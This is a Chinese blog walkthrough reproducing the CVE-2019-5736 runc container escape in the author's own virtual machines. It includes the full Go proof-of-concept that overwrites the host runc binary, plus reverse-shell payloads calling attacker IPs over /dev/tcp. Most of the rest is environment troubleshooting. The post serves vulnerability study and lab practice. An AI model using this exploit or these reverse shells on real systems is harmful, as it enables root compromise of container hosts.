docker容器逃逸-CVE-2019-5736


一、漏洞概述

1.1 简介

CVE-2019-5736是一个严重的安全漏洞,它影响了包括Docker、containerd、Podman和CRI-O在内的多种容器运行时环境。该漏洞允许恶意容器通过覆盖宿主机上的runc可执行文件,实现从容器到宿主机的逃逸,从而获得宿主机的root权限。攻击者可以利用这一点执行任意代码,对宿主机及其上所有容器构成严重威胁。

Docker Runc是什么?

Docker Runc 是一个轻量级的命令行工具,用于创建和管理符合 Open Container Initiative (OCI) 标准的容器。它是由 Docker 团队开发,并贡献给了开放容器计划 (OCI)。runc 的主要功能是作为 OCI 容器运行时的参考实现,负责容器的启动、停止、暂停和删除等操作。

runc 与 Docker 的关系非常密切。Docker 使用 runc 作为其容器运行时,这意味着当你使用 Docker 运行容器时,实际上是通过 Docker 调用 runc 来完成容器的创建和管理。runc 提供了一套命令行工具,供用户和上层容器管理工具(如 Docker、Kubernetes 等)调用,作为容器生态中的基础组件,runc 提供了对容器生命周期的底层管理。

下图是一张Docker组件架构图,描述了Docker运行容器时所依赖的一些组件,近些年基于组件的Docker容器逃逸漏洞大多发生在shim组件和runc组件上。

docker组件架构

1.2 影响范围

  • Docker Version < 18.09.2
  • runC Version <= 1.0-rc6

1.3 漏洞成因

该漏洞的成因与Linux的pid命名空间和/proc伪文件系统有关。攻击者可以利用这个漏洞,通过修改容器内的可执行文件,获取宿主机上runc可执行文件的文件句柄,然后进行覆盖操作,将runc替换为可控的恶意文件,最终在宿主机上以root权限执行任意代码。受影响的版本包括Docker 18.09.2之前以及runc版本低于1.0-rc6的系统。

二、漏洞复现(ubuntu 14.04复现失败)

做这个漏洞复现的时候记得对虚拟机做快照,方便恢复,因为涉及到runc文件的恶意覆盖会影响到容器的正常启动。

2.1 实验环境

  • ubuntu :uname -a

Linux ubuntu 4.4.0-142-generic #168~14.04.1-Ubuntu SMP Sat Jan 19 11:26:28 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

  • docker:docker -v
    Docker version 18.06.3-ce, build d7080c1

  • runc版本:1.0-rc5

runc版本如何查看?

1)docker info 查看runc相关的信息

在Docker环境中,runc是一个轻量级的容器运行时,它负责根据Docker镜像创建并运行容器。当你看到runc version显示为一串字符序列时,这实际上是runc的Git commit hash或者构建标签(build tag)。

2)直接运行docker-runc –version

docker和runc的版本符合漏洞利用的条件,但是操作系统版本不符合漏洞利用的条件。

2.2 攻击脚本编译

git clone https://github.com/Frichetten/CVE-2019-5736-PoC

将脚本中要在目标机上执行的payload修改为反弹shell的命令,IP为攻击机IP,端口为攻击机监听的端口:

package main

// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
	"fmt"
	"io/ioutil"
	"os"
	"strconv"
	"strings"
	"flag"
)


var shellCmd string

func init() {
	flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")
	flag.Parse()
}

func main() {
	// This is the line of shell commands that will execute on the host
	var payload = "#!/bin/bash \n" + shellCmd
	// First we overwrite /bin/sh with the /proc/self/exe interpreter path
	fd, err := os.Create("/bin/sh")
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Fprintln(fd, "#!/proc/self/exe")
	err = fd.Close()
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Println("[+] Overwritten /bin/sh successfully")

	// Loop through all processes to find one whose cmdline includes runcinit
	// This will be the process created by runc
	var found int
	for found == 0 {
		pids, err := ioutil.ReadDir("/proc")
		if err != nil {
			fmt.Println(err)
			return
		}
		for _, f := range pids {
			fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
			fstring := string(fbytes)
			if strings.Contains(fstring, "runc") {
				fmt.Println("[+] Found the PID:", f.Name())
				found, err = strconv.Atoi(f.Name())
				if err != nil {
					fmt.Println(err)
					return
				}
			}
		}
	}

	// We will use the pid to get a file handle for runc on the host.
	var handleFd = -1
	for handleFd == -1 {
		// Note, you do not need to use the O_PATH flag for the exploit to work.
		handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
		if int(handle.Fd()) > 0 {
			handleFd = int(handle.Fd())
		}
	}
	fmt.Println("[+] Successfully got the file handle")

	// Now that we have the file handle, lets write to the runc binary and overwrite it
	// It will maintain it's executable flag
	for {
		writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
		if int(writeHandle.Fd()) > 0 {
			fmt.Println("[+] Successfully got write handle", writeHandle)
			fmt.Println("[+] The command executed is" + payload)
			writeHandle.Write([]byte(payload))
			return
		}
	}
}
#!/bin/bash \n bash -i >& /dev/tcp/192.168.43.26/3333 0>&1 

⚠️:这个地方这样改的话就改错位置了,应该改的是payload参数,这里var shellCmd string是个变量类型的声明。

应该改的是payload的值。执行命令编译生成payload。

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

大战bug-「安装go环境」:

执行编译命令报错,很显然kali上没有go环境用来编译go脚本。

安装gccgo-go、golang-go时报错

截屏2025-01-03 14.37.17

目测是kali软件源的问题。

更新kali软件包,发现软件源报错。

应该是很久没有在kali装软件了,源都过期了。

可以直接打开这个目录 /etc/apt/ 并找到 sources.list 文件。

vim /etc/apt/sources.list

先用 # 把原本的注释掉:

之后,在下面添加上新的源:

# aliyun 阿里云
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
 
# ustc 中科大
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
#deb http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free
#deb-src http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free<br><br># 清华大学<br>deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free<br>deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
 
# kali 官方源
deb http://http.kali.org/kali kali-rolling main non-free contrib 
deb-src http://http.kali.org/kali kali-rolling main non-free contrib
 
# 默认的直接注释掉
#deb http://security.kali.org/kali-security kali-rolling/updates main contrib non-free
#deb-src http://security.kali.org/kali-security kali-rolling/updates main contrib non-free

kali官方源可以注释掉,然后更新更新源:

apt-get update
Err:1 http://mirrors.aliyun.com/kali kali-rolling InRelease                                            
  The following signatures were invalid: EXPKEYSIG ED444FF07D8D0BF6 Kali Linux Repository <devel@kali.org>

解决方法: 下载最新key添加到keylist

wget -q -O - https://archive.kali.org/archive-key.asc | apt-key add

访问不了,估计又被墙了。

wget 是一个在命令行下使用的文件下载工具,用于从网络上下载文件。wget 命令的参数可以控制其行为和输出。下面是您提到的参数的解释:

  1. -q:这个选项让 wget 以静默模式运行,即不在终端上显示下载过程中的信息。这包括下载进度、错误消息等。静默模式通常用于脚本中,以避免输出不必要的信息。
  2. -O:这个选项指定输出文件的名称。如果不跟文件名,wget 会将下载的内容输出到标准输出(stdout),这通常与管道(|)一起使用,将输出传递给其他命令或程序。
  3. -:当 -O 后面紧跟一个 - 时,它告诉 wget 将下载的内容输出到标准输出,而不是保存到文件。这与 -O - 一起使用,可以实现将下载的内容直接传递给其他命令或程序,而不是保存到磁盘。

在物理机上下载下来先,然后放在虚拟机中。

然后cat查看,通过管道符交给apt-key add添加。

然后再次运行apt-get update,源能够更新成功。

安装go编译工具:

apt install golang

大战bug-「安装go环境」:

直接把系统搞崩了可还行。

只能强行关机。关机按钮都没了。

重启之后。

go安装成功。

继续编译:

编译成功。

2.3 上传到容器中

目标服务器中运行的容器:

假设已经拿下容器的shell。

上传文件到tmp目录中。

2.4 修改权限并执行

2.4.1 蚁剑虚拟终端尝试执行(失败)

执行main文件权限不够。

2.4.2 先获取反弹的root shell

具体如何获取的root权限的容器shell,可以看本站 《三层网络靶场(WHOAMI)从打点到拿下域控 》这篇文章。

先提权获取root权限的容器shell,然后修改main函数的权限之后执行,提示Overwritten成功。

截屏2025-01-03 17.09.19

左边nc监听反弹的目标主机的shell,右边是获取的容器中的root权限的shell。

如果左边能够获取到shell,那么就成功从容器中实现了逃逸。

手动重启容器

手动重启容器,并没有获得逃逸成功的shell。

大战bug-「容器启动秒退」:

之前手动关闭重启容器,这次执行sudo docker start 8e17发现容器启动不起来了。

秒退。

查看docker服务状态,发现docker正常运行:

重新执行一次启动命令,还是失败。

查看容器启动的日志:

sudo docker logs 8e17

从日志可以看出,确实是执行docker容器逃逸攻击导致的问题。因为本地的/bin/sh文件被恶意替换了。docker启动容器是调用runc运行时环境失败,所以容器也就无法启动了。所以,要意识到做虚拟机快照的重要性,可以省去很多麻烦。

重新恢复虚拟机环境。

重新编译一下POC,重点注意ip端口和执行的命令。

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

上传至/tmp目录。

修改权限。

右侧是容器提权后的root权限的shell。

左侧监听连接,如果能够监听到连接则表明成功实现了逃逸,获得了宿主机的shell。

在容器的shell中执行./main,覆盖宿主机的/bin/sh文件。

然后登录web2,模拟管理员用docker exec进入容器。

截屏2025-01-06 10.52.57

容器root shell提示获取到文件句柄。

但是没有获取到shell。

2.5 复现失败

目前的环境时Ubuntu 14.04,可能目前的POC无法起作用。

Tested on Ubuntu 18.04, Debian 9, and Arch Linux. 作者这里测试环境不包含14.04,可能还是需要搭建符合要求的环境才能实现。

三、漏洞复现(centos7复现成功)

3.1 实验环境

3.1.1 centos 7

1)卸载已经安装的Docker

1)步骤一:杀死所有运行中的容器。

首先,确保没有任何容器在运行。使用以下命令杀死所有运行中的容器:

docker kill $(docker ps -a -q)

2)步骤二:删除所有 Docker 容器

接下来,删除系统中所有存在的 Docker 容器:

docker rm $(docker ps -a -q)

3)步骤三:删除所有 Docker 镜像

为了确保系统清洁,删除所有 Docker 镜像:

docker rmi $(docker images -q)

删不掉的加-f参数

4)步骤四:停止 Docker 服务

在进行下一步之前,确保停止 Docker 服务及其相关的套接字:

sudo systemctl stop docker.socket
sudo systemctl stop docker.service

5)步骤五:删除存储目录

Docker 会在系统中创建多个存储目录。删除这些目录以彻底清除 Docker 数据:

sudo rm -rf /etc/docker
sudo rm -rf /run/docker
sudo rm -rf /var/lib/dockershim
sudo rm -rf /var/lib/docker

6)步骤六:卸载 Docker

查看已安装的 Docker 包

首先,检查系统上已安装的 Docker 包:

sudo yum list installed | grep docker

7)卸载相关包

然后,使用以下命令卸载所有与 Docker 相关的包:

sudo yum remove -y 'docker*'
sudo yum remove -y containerd.io.x86_64

总结

通过以上步骤,你可以在 CentOS 7 系统上彻底卸载 Docker 和清理所有相关数据。确保每个步骤都正确执行,以避免残留数据影响后续操作。

2)安装低版本的docker

  • 列出可用版本
yum list docker-ce --showduplicates | sort -r
  • 安装有漏洞版本<=18.09.2,这里选择18.06.0.ce-3.el7版本
sudo yum install docker-ce-18.06.0.ce-3.el7 -y
  • 查看版本
docker -v
docker-runc -v

看到docker版本为18.06.0.ce<18.09.2,runc版本为1.0.0 rc5<1.0-rc6。

注:高版本docker中使用runc -v来runc查版本。

  • 启动docker

3.1.2 模拟失陷容器

模拟启动一个被攻击失陷的容器。

在受害者机器(即这里的centos7 )上启动一个容器 ,搭建攻击环境。

1)拉取镜像

docker pull nginx

大战bug-「拉取镜像失败」:

之前就碰到过类似的问题,原因就是docker官方仓库被墙了。

解决:

核心就是找到能用的镜像仓库,目前可用的配置如下:

sudo tee /etc/docker/daemon.json <<EOF
{
    "registry-mirrors": ["https://docker.zhai.cm"]
}
EOF
systemctl daemon-reload
systemctl restart docker

再尝试拉取一下nginx镜像。

还是拉取不下来。可以等等看,如果站点不通过科学上网还能访问的话应该问题不大,拉取的时候比较随缘,可能需要多次尝试。

等了半天还是拉取不下来,还是说不准哪里就会出现问题。需要不断寻找能用的仓库。

{
  "registry-mirrors": [
    "https://docker.hpcloud.cloud",
 "https://docker.m.daocloud.io",
 "https://docker.unsee.tech",
 "https://docker.1panel.live",
 "http://mirrors.ustc.edu.cn",
 "https://docker.chenby.cn",
 "http://mirror.azure.cn",
 "https://dockerpull.org",
 "https://dockerhub.icu",
 "https://hub.rat.dev",
 "https://proxy.1panel.live",
 "https://docker.1panel.top",
 "https://docker.m.daocloud.io",
 "https://docker.1ms.run",
 "https://docker.ketches.cn"
  ]
}

配置上面的仓库地址还是无法拉取,折磨。。。。。。

后面耐心多尝试了几次又可以了,麻!

2)运行容器

docker run --name nginx-test -p 8080:80 -d nginx

3.1.3 攻击机

kali linux:ip 192.168.52.5

3.2 漏洞复现

前提:假定攻击者已经拿下容器的root权限(一般攻击者会通过webshell+提权的方式实现这一目标,参考本站《 三层网络靶场(WHOAMI)从打点到拿下域控》一文)。

目标:通过Runc逃逸漏洞拿下宿主机的root权限。

3.2.1 恶意脚本编译

这个过程跟2.2 节一样,不赘述。

payload执行后反弹的shell连接的目标地址为 192.168.43.27:3333

3.2.2 将payload传入失陷的容器中

将该payload(main文件)拷贝到docker容器中(这就是模拟攻击者获取了docker容器权限,在容器中上传payload进行docker逃逸)并将main文件修改权限可执行。

docker cp main 59f2:/home
docker exec -it 59f2 /bin/sh
cd home
chmod 777 main

3.2.3 发起攻击

1)执行./main

这一步的目的是执行payload覆盖宿主机的/bin/sh。

2)攻击者监听反弹的shell

3)模拟受害者进入容器触发payload

重新打开一个ssh会话,执行进入容器的命令。

docker exec -it 59f2 /bin/sh

观察容器shell会话的显示:

攻击成功。

4)攻击侧弹回的shell

发现没有反弹回shell。

原因分析:kali采用了桥接方式,在192.168.43.27/24网段,centos7受害机在192.168.52.4/24网段。无法连通,如果kali具备公网ip且centos7能够访问互联网,应该会反弹成功。

  • 将centos7改成桥接模式,IP-192.168.43.181/24。kali还是获取不到shell。

  • 将centos7改回NAT模式 192.168.52.4 ,kali也改成NAT模式 192.168.52.5。

重新操作一遍。

修改payload的反弹shell回连地址:

var payload="#!/bin/bash \n bash -i >& /dev/tcp/192.168.52.5/4444 0>&1"

搞定:✅

成功获取到宿主机的shell(ip是宿主机的ip192.168.52.4),并且权限是root。

同样的方法在ubuntu16.04 重新操作一次,还是没有成功:

看来该漏洞的利用比较以来操作系统、docker和runc的具体版本。

至此,docker容器逃逸-CVE-2019-5736成功复现。

拓展:


文章作者: 司晓凯
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 司晓凯 !
  目录